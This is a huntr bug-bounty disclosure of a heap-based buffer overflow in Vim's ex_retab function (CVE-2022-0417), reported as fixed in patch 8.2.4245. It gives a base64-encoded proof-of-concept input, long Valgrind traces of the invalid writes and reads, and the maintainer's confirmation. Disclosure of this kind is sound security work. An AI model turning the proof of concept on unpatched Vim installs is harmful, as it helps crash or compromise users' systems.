huntr

Heavy-based Buffer Overflow in vim/vim

0

✓ Valid Reported on Jan 29th 2022

Description

Heap Overflow in ex_retab.
This issue was created to separate the previous issue.
This bug has already been fixed with patch 8.2.4245.

Proof of Concept

```
$ echo -ne "bm9ybTBvMDAwMDAwMDAwMDAwMDAwMDAwMDD/MJMwMDAKc2lsIW5vcm0WYxwwMAk
KGcsbikKZXhlInJldCJhOm4KZW5kZgpjYWwgbCgiIixSZXRhYigwLDMpCnNlIHRhYnN0b3A9NT
MDAwMDAwMApjYWwgbCgiIixSZXRhYigwLDAp" | base64 -d > poc

# Valgrind
./vg-in-place -s ~/fuzzing/vim-valgrind/src/vim -u NONE -i NONE -n -X -Z -e
==1527416== Memcheck, a memory error detector
==1527416== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1527416== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyrig
==1527416== Command: /home/alkyne/fuzzing/vim-valgrind/src/vim -u NONE -i N
==1527416==
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E56C: ex_retab (indent.c:1731)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
```

```
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24cd1 is 0 bytes after a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)

==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E5A7: ex_retab (indent.c:1732)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
```

```
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1

==1527416==    at 0x21E676: ex_retab (indent.c:1750)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==    by 0x197EE0: eval7 (eval.c:3746)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x4032A7: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
```

```
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd

==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x4031A7: ptr2cells (charset.c:705)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
```

```
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==

==1527416== Invalid read of size 1
==1527416==    at 0x4031C0: ptr2cells (charset.c:708)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x23CB56: utfc_ptr2len (mbyte.c:2107)
==1527416==    by 0x21E6BE: ex_retab (indent.c:1754)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
```

```
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)

==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== HEAP SUMMARY:
==1527416==     in use at exit: 69,687 bytes in 387 blocks
==1527416==   total heap usage: 1,381 allocs, 994 frees, 245,099 bytes allo
==1527416==
==1527416== LEAK SUMMARY:
==1527416==    definitely lost: 0 bytes in 0 blocks
==1527416==    indirectly lost: 0 bytes in 0 blocks
==1527416==      possibly lost: 0 bytes in 0 blocks
==1527416==    still reachable: 69,687 bytes in 387 blocks
==1527416==         suppressed: 0 bytes in 0 blocks
==1527416== Rerun with --leak-check=full to see details of leaked memory
==1527416==
==1527416== ERROR SUMMARY: 35 errors from 7 contexts (suppressed: 0 from 0)
==1527416==
==1527416== 1 errors in context 1 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x23CB56: utfc_ptr2len (mbyte.c:2107)
==1527416==    by 0x21E6BE: ex_retab (indent.c:1754)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
```

```
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)

==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 2 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x4031C0: ptr2cells (charset.c:708)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
```

```
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)

==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 3 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x4031A7: ptr2cells (charset.c:705)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 4 of 7:
==1527416== Invalid read of size 1
```

```
==1527416== Invalid read of size 1
==1527416==    at 0x4032A7: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)

==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 5 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x21E676: ex_retab (indent.c:1750)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
```

```
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==    by 0x197EE0: eval7 (eval.c:3746)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd

==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 6 of 7:
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E5A7: ex_retab (indent.c:1732)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
```

```
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)

==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 29 errors in context 7 of 7:
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E56C: ex_retab (indent.c:1731)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24cd1 is 0 bytes after a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== ERROR SUMMARY: 35 errors from 7 contexts (suppressed: 0 from 0)
```

Impact

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE
CVE-2022-0417
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 836 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

alkyne Choi modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

Chat with us

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago

Maintainer

As the description mentions, this was reported earlier and fixed with patch 8.2.4245.

Bram Moolenaar marked this as fixed in **8.2** with commit **652dee** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation